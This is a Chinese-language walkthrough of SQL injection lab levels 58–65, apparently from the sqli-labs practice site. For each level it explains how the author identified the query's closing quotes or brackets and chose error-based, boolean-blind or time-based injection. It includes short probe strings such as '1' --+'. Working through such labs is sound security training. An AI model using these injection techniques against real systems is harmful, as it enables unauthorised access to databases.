单引号测试报错,根据显示符号为单引号闭合方式。
这只有五次机会,可以使用报错注入
节省机会直接获取表名x4uje1yo6x
获得字段名id,sessid,secret_VLMB,tryy
获得字段内容
成功获取key
63、level 59
单引号测试报错,根据报错可知为数字型注入
只有5次机会,报错回显,可以使用报错注入
注入参照level 58
64、level 60
双引号测试报错,根据报错显示可知这里为双引号括号闭合方式
同样只有5次机会,报错有回显使用报错注入
注入参照level 58
65、level 61
单引号测试报错,有报错可知这里为单引号双括号闭合方式
也是只有5次机会,报错有回显,使用报错注入
注入参照level 58 ,注意闭合方式的不同
66、level 62
这里测试闭合方式不太好测试,页面关闭了报错回显。直接单引号测试页面显示异常,双引号括号均不影响页面显示
单引号加上括号后显示正常
且有布尔和延时现象
这里可以使用布尔盲注和延时注入,参照level 7和level 8
67、level 63
同样关闭了报错回显。1‘ --+页面正常显示,为单引号闭合方式的字符型注入
报错关闭不能使用报错注入,union联合查询不显示到页面。只用使用延时注入和布尔盲注,除闭合方式外同level 62
68、level 64
这里报错也不回显,这里采用了双括号的闭合方式,1)) --+页面显示正常
同样使用延时注入和布尔盲注,出闭合方式外同level 62
69、level 65
与上一关相比这里的闭合方式换成了双引号括号闭合
使用布尔盲注或者延时注入,参照level 62,62到65很像,但要注意闭合方式的区别
版权归原作者 不要温顺地走进那个良夜 所有, 如有侵权,请联系我们删除。